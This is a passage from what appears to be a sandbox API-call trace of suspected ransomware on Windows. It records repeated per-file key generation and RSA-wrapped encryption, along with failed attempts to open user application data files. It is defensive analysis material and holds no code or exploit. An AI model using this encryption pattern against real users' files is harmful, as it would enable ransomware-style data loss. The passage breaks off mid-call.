[0211.976] CryptGetKeyParam (in: hKey=0x648a800, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.976] CryptEncrypt (in: hKey=0x648a800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ec0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ec0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.976] GetLastError () returned 0x0 [0211.976] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.976] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0211.978] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a1c0) returned 1 [0211.978] CryptGetKeyParam (in: hKey=0x648a1c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.978] CryptEncrypt (in: hKey=0x648a1c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ed0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6ed0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.978] GetLastError () returned 0x0 [0211.978] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003C.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.979] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.981] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.982] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.982] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.982] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.984] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.984] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.984] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.984] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.986] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a280) returned 1 [0211.986] CryptGetKeyParam (in: hKey=0x648a280, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.986] CryptEncrypt (in: hKey=0x648a280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ee0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ee0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.986] GetLastError () returned 0x0 [0211.986] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.986] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0211.988] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a840) returned 1 [0211.988] CryptGetKeyParam (in: hKey=0x648a840, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.988] CryptEncrypt (in: hKey=0x648a840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ef0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6ef0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.988] GetLastError () returned 0x0 [0211.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.988] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.989] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.991] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.991] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.991] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.991] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.992] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.993] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.993] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.994] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.996] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a200) returned 1 [0211.996] CryptGetKeyParam (in: hKey=0x648a200, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.996] CryptEncrypt (in: hKey=0x648a200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.996] GetLastError () returned 0x0 [0211.996] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.996] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.998] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a6c0) returned 1 [0211.998] CryptGetKeyParam (in: hKey=0x648a6c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.998] CryptEncrypt (in: hKey=0x648a6c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.998] GetLastError () returned 0x0 [0211.998] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.998] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.001] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.003] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.003] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.003] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.003] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.006] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.006] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0212.013] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a000) returned 1 [0212.013] CryptGetKeyParam (in: hKey=0x648a000, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.013] CryptEncrypt (in: hKey=0x648a000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6f20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.013] GetLastError () returned 0x0 [0212.013] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0212.013] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.015] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a480) returned 1 [0212.015] CryptGetKeyParam (in: hKey=0x648a480, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.015] CryptEncrypt (in: hKey=0x648a480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6f30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.015] GetLastError () returned 0x0 [0212.015] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.015] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.018] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0212.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.021] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.021] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.021] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.021] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.023] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.023] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.024] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.026] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a3c0) returned 1 [0212.026] CryptGetKeyParam (in: hKey=0x648a3c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.026] CryptEncrypt (in: hKey=0x648a3c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6f40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.026] GetLastError () returned 0x0 [0212.026] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.026] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0212.028] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a680) returned 1 [0212.028] CryptGetKeyParam (in: hKey=0x648a680, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.028] CryptEncrypt (in: hKey=0x648a680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6f50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.028] GetLastError () returned 0x0 [0212.028] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.028] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.174] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.176] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.176] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.176] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0212.178] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.179] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.179] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.179] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.179] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.181] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a740) returned 1 [0212.181] CryptGetKeyParam (in: hKey=0x648a740, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.181] CryptEncrypt (in: hKey=0x648a740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6f60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.181] GetLastError () returned 0x0 [0212.181] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.181] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.183] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a440) returned 1 [0212.183] CryptGetKeyParam (in: hKey=0x648a440, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.183] CryptEncrypt (in: hKey=0x648a440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6f70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.183] GetLastError () returned 0x0 [0212.183] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.183] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.212] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0212.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.214] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.214] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.214] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.214] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0212.216] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.217] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.217] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.217] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0212.217] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.219] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a500) returned 1 [0212.219] CryptGetKeyParam (in: hKey=0x648a500, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.219] CryptEncrypt (in: hKey=0x648a500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f80000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6f80000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.219] GetLastError () returned 0x0 [0212.219] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.219] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.221] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a240) returned 1 [0212.221] CryptGetKeyParam (in: hKey=0x648a240, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.221] CryptEncrypt (in: hKey=0x648a240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6f90000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6f90000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.221] GetLastError () returned 0x0 [0212.221] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.221] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.221] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0212.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.224] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.224] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.224] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.224] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.225] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.226] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.226] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.226] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.226] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0212.228] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a2c0) returned 1 [0212.228] CryptGetKeyParam (in: hKey=0x648a2c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.228] CryptEncrypt (in: hKey=0x648a2c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fa0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6fa0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.228] GetLastError () returned 0x0 [0212.228] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0212.228] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0212.230] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: 